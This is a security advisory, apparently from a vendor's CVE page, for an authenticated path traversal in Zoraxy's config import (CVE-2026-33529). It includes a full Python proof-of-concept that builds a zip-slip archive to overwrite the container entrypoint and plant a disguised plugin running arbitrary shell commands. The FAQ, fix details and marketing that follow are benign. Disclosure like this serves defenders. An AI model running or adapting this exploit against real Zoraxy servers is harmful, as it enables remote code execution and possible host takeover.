Summary
Zoraxy: Authenticated Path Traversal in Config Import leads to RCE
Authenticated Path Traversal to RCE via Configuration Import
An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.
Details
The vulnerable endpoint is POST /api/conf/import.
The zip entry names sanitization is bypassed by embedding ../ inside a longer sequence so the replacement produces a new ../:
conf/..././..././entrypoint.py
→ ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../")
→ conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/
Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.
When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).
As a result, the container was manually restarted for the PoC to work.
PoC
import argparse
import io
import json
import re
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
INTRO_SPEC_JSON = json.dumps({
"id": "com.attacker.evil",
"name": "System Updater",
"author": "System",
"author_contact": "",
"description": "Internal system update module",
"url": "",
"ui_path": "/ui",
"type": 1,
"version_major": 1,
"version_minor": 0,
"version_patch": 0,
"permitted_api_endpoints": [],
})
LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'
run_payload() {{
{payload_lines}
}}
case "$1" in
-introspect)
run_payload
printf '%s\\n' "$INTRO_SPEC"
exit 0
;;
-configure=*)
run_payload
while true; do sleep 3600; done
;;
esac
"""
MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time
try:
subprocess.run({cmd_list}, shell=False)
except Exception:
pass
try:
os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
pass
zoraxy_proc = None
zerotier_proc = None
def getenv(key, default=None):
return os.environ.get(key, default)
def run(command):
try:
subprocess.run(command, check=True)
except subprocess.CalledProcessError as e:
print(f"Command failed: {command} - {e}")
sys.exit(1)
def popen(command):
proc = subprocess.Popen(command)
time.sleep(1)
if proc.poll() is not None:
print(f"{command} exited early with code {proc.returncode}")
raise RuntimeError(f"Failed to start {command}")
return proc
def cleanup(_signum, _frame):
global zoraxy_proc, zerotier_proc
if zoraxy_proc and zoraxy_proc.poll() is None:
zoraxy_proc.terminate()
if zerotier_proc and zerotier_proc.poll() is None:
zerotier_proc.terminate()
if zoraxy_proc:
try:
zoraxy_proc.wait(timeout=8)
except subprocess.TimeoutExpired:
zoraxy_proc.kill()
zoraxy_proc.wait()
if zerotier_proc:
try:
zerotier_proc.wait(timeout=8)
except subprocess.TimeoutExpired:
zerotier_proc.kill()
zerotier_proc.wait()
try:
os.unlink("/var/lib/zerotier-one")
except Exception:
pass
sys.exit(0)
def start_zerotier():
global zerotier_proc
config_dir = "/opt/zoraxy/config/zerotier/"
zt_path = "/var/lib/zerotier-one"
os.makedirs(config_dir, exist_ok=True)
try:
os.symlink(config_dir, zt_path, target_is_directory=True)
except FileExistsError:
pass
zerotier_proc = popen(["zerotier-one"])
def start_zoraxy():
global zoraxy_proc
zoraxy_args = [
"zoraxy",
f"-autorenew={getenv('AUTORENEW', '86400')}",
f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}",
f"-db={getenv('DB', 'auto')}",
f"-docker={getenv('DOCKER', 'true')}",
f"-earlyrenew={getenv('EARLYRENEW', '30')}",
f"-enablelog={getenv('ENABLELOG', 'true')}",
f"-fastgeoip={getenv('FASTGEOIP', 'false')}",
f"-mdns={getenv('MDNS', 'true')}",
f"-mdnsname={getenv('MDNSNAME', \"''\")}",
f"-noauth={getenv('NOAUTH', 'false')}",
f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}",
f"-port=:{getenv('PORT', '8000')}",
f"-sshlb={getenv('SSHLB', 'false')}",
f"-version={getenv('VERSION', 'false')}",
f"-webroot={getenv('WEBROOT', './www')}",
]
zoraxy_proc = popen(zoraxy_args)
def main():
signal.signal(signal.SIGTERM, cleanup)
signal.signal(signal.SIGINT, cleanup)
run(["update-ca-certificates"])
if getenv("UPDATE_GEOIP", "false").lower() == "true":
run(["zoraxy", "-update_geoip=true"])
os.chdir("/opt/zoraxy/config/")
if getenv("ZEROTIER", "false") == "true":
start_zerotier()
start_zoraxy()
signal.pause()
if __name__ == "__main__":
main()
"""
def get_csrf(host: str, session: requests.Session) -> tuple:
r = session.get(f"{host}/login.html", timeout=10, verify=False)
m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text)
if not m:
m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text)
token = m.group(1) if m else r.headers.get("X-CSRF-Token", "")
return token, f"{host}/login.html"
def authenticate(host: str, username: str, password: str,
session: requests.Session) -> bool:
csrf, referer = get_csrf(host, session)
print(f" CSRF token -> {csrf!r}")
r = session.post(
f"{host}/api/auth/login",
data={"username": username, "password": password},
headers={"X-CSRF-Token": csrf, "Referer": referer},
timeout=10, verify=False,
)
print(f" Login -> HTTP {r.status_code} {r.text[:120]!r}")
return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true")
def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:
csrf, referer = get_csrf(host, session)
r = session.post(
f"{host}/api/conf/import",
files={"file": ("backup.zip", zip_bytes, "application/zip")},
headers={"X-CSRF-Token": csrf, "Referer": referer},
timeout=30, verify=False,
)
return r.status_code, r.text
def export_config(host: str, session: requests.Session) -> bytes | None:
r = session.get(
f"{host}/api/conf/export?includeDB=true",
timeout=60, verify=False,
)
if r.status_code == 200 and len(r.content) > 100:
return r.content
return None
def build_zip(cmd: str, export_zip: bytes) -> bytes:
traversal_ep = "conf/..././..././entrypoint.py"
traversal_sh = "conf/..././..././plugin/evil/start.sh"
payload_lines = "\n".join(f" {line}" for line in cmd.splitlines()) or " id > /tmp/pwned.txt"
start_sh = LINUX_START_SH.format(
intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"),
payload_lines=payload_lines,
)
malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd]))
buf = io.BytesIO()
with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src:
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
for item in src.infolist():
zf.writestr(item, src.read(item.filename))
zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())
zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())
buf.seek(0)
return buf.read()
def main() -> None:
parser = argparse.ArgumentParser(
description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip",
)
parser.add_argument("--host", help="Target, e.g. http://192.168.1.10:8000")
parser.add_argument("--user", default="admin")
parser.add_argument("--pass", dest="password", default=None)
parser.add_argument("--cmd", default="id > /tmp/pwned.txt",
help="Shell command to embed in the payload")
args = parser.parse_args()
if not args.host or not args.password:
parser.error("--host and --pass are required")
host = args.host.rstrip("/")
print(f"\n[1] Authenticating as '{args.user}' at {host} ...")
session = requests.Session()
if not authenticate(host, args.user, args.password, session):
print("[-] Authentication failed.")
sys.exit(1)
print("[+] Authenticated.")
print(f"\n[2] Exporting live config ...")
export_zip = export_config(host, session)
if not export_zip:
print("[-] Config export failed.")
sys.exit(1)
print("\n[3] Building malicious zip ...")
zip_bytes = build_zip(args.cmd, export_zip)
print(f"[+] Zip size: {len(zip_bytes):,} bytes")
print(f"\n[4] Uploading via POST {host}/api/conf/import ...")
code, body = upload_zip(host, session, zip_bytes)
print(f" HTTP {code} {body[:200]!r}")
if code != 200:
print("[-] Upload failed.")
sys.exit(1)
print("[+] Files written")
if __name__ == "__main__":
main()
Impact
Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-33529 has a CVSS score of 3.3 (Low). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-33529? CVE-2026-33529 is a low-severity path traversal vulnerability in github.com/tobychui/zoraxy (go), affecting versions < 3.3.2. It is fixed in 3.3.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-33529? CVE-2026-33529 has a CVSS score of 3.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/tobychui/zoraxy are affected by CVE-2026-33529? github.com/tobychui/zoraxy (go) versions < 3.3.2 is affected.
- Is there a fix for CVE-2026-33529? Yes. CVE-2026-33529 is fixed in 3.3.2. Upgrade to this version or later.
- Is CVE-2026-33529 exploitable, and should I be worried? Whether CVE-2026-33529 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33529 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33529? Upgrade
github.com/tobychui/zoraxyto 3.3.2 or later.